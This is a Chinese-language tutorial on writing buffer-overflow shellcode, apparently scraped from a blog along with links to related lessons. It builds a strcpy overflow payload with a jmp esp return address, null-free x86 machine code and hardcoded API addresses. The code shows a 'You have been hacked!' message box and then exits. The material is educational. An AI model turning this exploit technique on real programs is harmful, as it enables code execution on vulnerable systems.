前言

ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理。那么下面我们就来编写ShellCode。为了简单起见,这里我只想让程序显示一个对话框:

图1

获取相关函数的地址

那么我们下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以说首先需要获取该函数的地址,这可以通过编写一个小程序来获取:

  1. #include <windows.h>
  2. #include <stdio.h>
  3. typedef void (*MYPROC)(LPTSTR);
  4. int main()
  5. {
  6. HINSTANCE LibHandle;
  7. MYPROC ProcAdd;
  8. LibHandle = LoadLibrary("user32");
  9. //获取user32.dll的地址
  10. printf("user32 = 0x%x\n", LibHandle);
  11. //获取MessageBoxA的地址
  12. ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
  13. printf("MessageBoxA = 0x%x\n", ProcAdd);
  14. getchar();
  15. return 0;
  16. }

其显示结果如下:


图2

由结果可知,MessageBox在我的系统中的地址为0x77d507ea,当然这个地址在不同的系统中,应该是不同的,所以大家在编写ShellCode之前,一定要先查找所要调用的API函数的地址。

由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了:

图3

编写汇编代码

接下来需要编写欲执行的代码,一般有两种方式——C语言编写以及汇编编写,不论采用哪种方式,最后都需要转换成机器码。这里我比较倾向于使用汇编进行编写。请大家放心的是,虽然说是汇编,但其实是非常简单的汇编,请大家不要有畏惧的心理。

那么在进行汇编代码的编写之前,我想首先给大家讲一下如何利用汇编语言实现函数的调用。

可能大家也都知道,在汇编语言中,想调用某个函数,是需要使用CALL语句的,而在CALL语句的后面,需要跟上该函数在系统中的地址。因为我刚才已经获取到了MessageBox()与ExitProcess()函数的地址,所以我们在这里就可以通过CALL相应的地址的方法来调用相应的函数。但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的。

如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。比如现在有一个Function(a,b,c)函数,我们想调用它,那么它的汇编代码就应该编写为:

push c

push b

push a

mov eax,AddressOfFunction

call eax

根据这个思想,我们就可以在VC++中利用内联汇编来调用ExitProcess()这个函数:

xor ebx, ebx

push ebx

mov eax, 0x7c81cafa

call eax

接下来编写MessageBox()这个函数调用。与上一个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,这个该如何解决呢?我们不妨先把所需要用到的字符串转换为ASCII码值:

Warning :

\x57\x61\x72\x6e\x69\x6e\x67

You have beenhacked!(by J.Y.) :

\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6e\x20\x68\x61\x63\x6b\x65\x64\x21\x28\x62\x79\x20\x4a\x2e\x59\x2e\x29

然后将每四个字符为一组,进行分组,将不满四个字符的,以空格(\x20)进行填充:

Warning :

\x57\x61\x72\x6e

\x69\x6e\x67\x20

You have beenhacked!(by J.Y.) :

\x59\x6f\x75\x20

\x68\x61\x76\x65

\x20\x62\x65\x65

\x6e\x20\x68\x61

\x63\x6b\x65\x64

\x21\x28\x62\x79

\x20\x4a\x2e\x59

\x2e\x29\x20\x20

这里之所以需要以\x20进行填充,而不是\x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到\x00就会认为我们的字符串结束了,就不会再拷贝\x00后的内容了。所以这个是需要特别留意的。

由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即“Warning”的进栈顺序为:

push 0x20676e69

push 0x6e726157    // push "Warning"

“You have beenhacked!(by J.Y.)”的进栈顺序为:

push 0x2020292e

push 0x592e4a20

push 0x79622821

push 0x64656b63

push 0x6168206e

push 0x65656220

push 0x65766168

push 0x20756f59    // push "You have beenhacked!(by J.Y.)"

那么下面问题来了,我们如何获取这两个字符串的地址,从而让其成为MessageBox()的参数呢?其实这个问题也不难,我们可以利用esp指针,因为它始终指向的是栈顶的位置,我们将字符压栈后,栈顶位置就是我们所压入的字符的位置,于是在每次字符压栈后,可以加入如下指令:

mov eax,esp 或 mov ecx,esp

这样就可以了,最后再进行函数的调用:

push ebx

push eax

push ecx

push ebx

mov eax,0x77d507ea

call eax           // call MessageBox

综合以上,完整的代码如下:

  1. int main()
  2. {
  3. _asm{
  4. sub esp,0x50
  5. xor ebx,ebx
  6. push ebx           // cut string
  7. push 0x20676e69
  8. push 0x6e726157    // push "Warning"
  9. mov eax,esp
  10. push ebx             // cut string
  11. push 0x2020292e
  12. push 0x592e4a20
  13. push 0x79622821
  14. push 0x64656b63
  15. push 0x6168206e
  16. push 0x65656220
  17. push 0x65766168
  18. push 0x20756f59    // push "You have been hacked!(by J.Y.)"
  19. mov ecx,esp
  20. push ebx
  21. push eax
  22. push ecx
  23. push ebx
  24. mov eax,0x77d507ea
  25. call eax           // call MessageBox
  26. push ebx
  27. mov eax, 0x7c81cafa
  28. call eax            // call ExitProcess
  29. }
  30. return 0;
  31. }

将汇编代码改写为ShellCode

然后在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击“Disassembly”,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):


图4

将这些机器码提取出来,就是我们想让计算机执行的 ShellCode。然后我们再综合一下上节课所讲的内容,从而编写出完整的ShellCode:

  1. char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41"  // name[0]~name[7]
  2. "\x41\x41\x41\x41"                      // EBP
  3. "\x79\x5b\xe3\x77"                      // Return Address
  4. "\x83\xEC\x50"                          // sub esp,0x50
  5. "\x33\xDB"                              // xor ebx,ebx
  6. "\x53"                                  // push ebx
  7. "\x68\x69\x6E\x67\x20"
  8. "\x68\x57\x61\x72\x6E"                  // push "Warning"
  9. "\x8B\xC4"                              // mov eax,esp
  10. "\x53"                                  // push ebx
  11. "\x68\x2E\x29\x20\x20"
  12. "\x68\x20\x4A\x2E\x59"
  13. "\x68\x21\x28\x62\x79"
  14. "\x68\x63\x6B\x65\x64"
  15. "\x68\x6E\x20\x68\x61"
  16. "\x68\x20\x62\x65\x65"
  17. "\x68\x68\x61\x76\x65"
  18. "\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by J.Y.)"
  19. "\x8B\xCC"                              // mov ecx,esp
  20. "\x53"                                  // push ebx
  21. "\x50"                                  // push eax
  22. "\x51"                                  // push ecx
  23. "\x53"                                  // push ebx
  24. "\xB8\xea\x07\xd5\x77"
  25. "\xFF\xD0"                              // call MessageBox
  26. "\x53"
  27. "\xB8\xFA\xCA\x81\x7C"
  28. "\xFF\xD0";                             // call MessageBox

由于我们这里调用了MessageBox,因此需要在源程序中加入“LoadLibrary(“user32.dll”);”这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入“windows.h”这个头文件。然后运行程序,可以看到我们已经成功利用了漏洞:


图5

利用OD查看反汇编程序

最后可以再观察一下OD的数据以及堆栈区域的情况:

图6

这里大家可以自行对照。然后我们执行到main函数的返回位置,再按下F8(单步执行),经过jmp esp的跳转后,就来到了我们所编写的 ShellCode的位置:

图7

这个时候我们再通过OD来观察一下MessageBox()这个函数的参数入栈情况。先执行到0x0012FF98的位置:

图8

可以看到“Warning”字符串已经入栈,此时esp指向的就是栈帧,也就是“Warning”字符串的位置,而此时将esp的值赋给eax,那么也就可以理解为eax中保存的就是“Warning”字符串。

第二个字符串入栈的原理和这个是一样的,在这里不再赘述。然后就是调用MessageBox()函数:

图9

可以看到相应的参数已经入栈,那么对话框得以弹出,说明我们的漏洞利用是成功的。

小结

事实上,编写一个完整的ShellCode是没那么简单的,是需要考虑很多的问题的。比如我们这次所编写的这个简单的 ShellCode,可以完善的地方还有很多。而关于ShellCode的完善,我会在下次课程中详细讨论。

缓冲区溢出分析第04课:ShellCode的编写的更多相关文章

  1. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

  2. 缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析

    漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀&q ...

  3. 缓冲区溢出分析第10课:Winamp缓冲区溢出研究

    前言 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世.与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会的. ...

  4. 缓冲区溢出分析第09课:MS06-040漏洞研究——深入挖掘

    前言 经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用.在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否 ...

  5. 缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试

    前言 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用. 编写漏洞利用程序的框架 这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32 ...

  6. 缓冲区溢出分析第07课:MS06-040漏洞研究——静态分析

    前言 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情况就 ...

  7. W32Dasm缓冲区溢出分析【转载】

    课程简介 在上次课程中与大家一起学习了编写通用的Shellcode,也提到会用一个实例来展示Shellcode的溢出. 那么本次课程中为大家准备了W32Dasm这款软件,并且是存在漏洞的版本.利用它的 ...

  8. 缓冲区溢出基础实践(一)——shellcode 与 ret2libc

    最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...

  9. CVE-2011-0104 Microsoft Office Excel缓冲区溢出漏洞 分析

    漏洞简述   Microsoft Excel是Microsoft Office组件之一,是流行的电子表格处理软件.        Microsoft Excel中存在缓冲区溢出漏洞,远程攻击者可利用此 ...

随机推荐

  1. 单细胞分析实录(9): 展示marker基因的4种图形(二)

    在上一篇中,我已经讲解了展示marker基因的前两种图形,分别是tsne/umap图.热图,感兴趣的读者可以回顾一下.这一节我们继续学习堆叠小提琴图和气泡图. 3. 堆叠小提琴图展示marker基因 ...

  2. PAT-1136(A Delayed Palindrome)字符串处理+字符串和数字间的转换

    A Delayed Palindrome PAT-1136 我这里将数字转换为字符串使用的是stringstream字符串流 扩充:将字符串转换为数字可以使用stoi函数,函数头为cstdlib #i ...

  3. 如果一个网站存在CSRF漏洞,可以通过CSRF漏洞做下面那些事情?

    如果一个网站存在CSRF漏洞,可以通过CSRF漏洞做下面那些事情? 答:跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求.利用受害者在被攻击网站已经获取的注册凭证 ...

  4. 漏洞复现-Bash之一键破壳

        注:使用docker搭建测试环境 (1)访问搭建的环境网址:http://192.168.11.101:8081/ (2)使用burp拦截数据包,并修改User-Agent的内容: (3)使用 ...

  5. Python3读取网页HTML代码,并保存在本地文件中

    旧版Python中urllib模块内有一个urlopen方法可打开网页,但新版python中没有了,新版的urllib模块里面只有4个子模块(error,request,response,parse) ...

  6. AtCoder Beginner Contest 190

    A Very Very Primitive Game int main() { int a, b, c; cin >> a >> b >> c; if(c == 0 ...

  7. MyBatis(四):自定义持久层框架优化

    本文所有代码已上传至码云:https://gitee.com/rangers-sun/mybatis 修改IUserDao.UserMapper.xml package com.rangers; im ...

  8. MySQL深入研究--学习总结(4)

    前言 接上文,继续学习后续章节.细心的同学已经发现,我整理的并不一定是作者讲的内容,更多是结合自己的理解,加以阐述,所以建议结合原文一起理解. 第13章<为什么表数据删除一般,表文件大小不变?& ...

  9. sprintgboot+springsecurity的跨域问题,

    整个项目是使用前后端分离的形式开发,登录接口部分出现了问题, 重写了security的登录接口,返回json数据 到这一步已经没有没有问题了,使用postman测试,也可以看到接口返回的结果,但是使用 ...

  10. 建立高速缓存机制-java版

    前言 ​ 一台计算机的核心是CPU,它是计算机系统的运算和控制核心.由于它处理运算速度快,所以基本都会给CPU配置一级缓存,当CPU要读取一个数据时,首先从缓存中查询,如果没有在从内存或者磁盘块中找. ...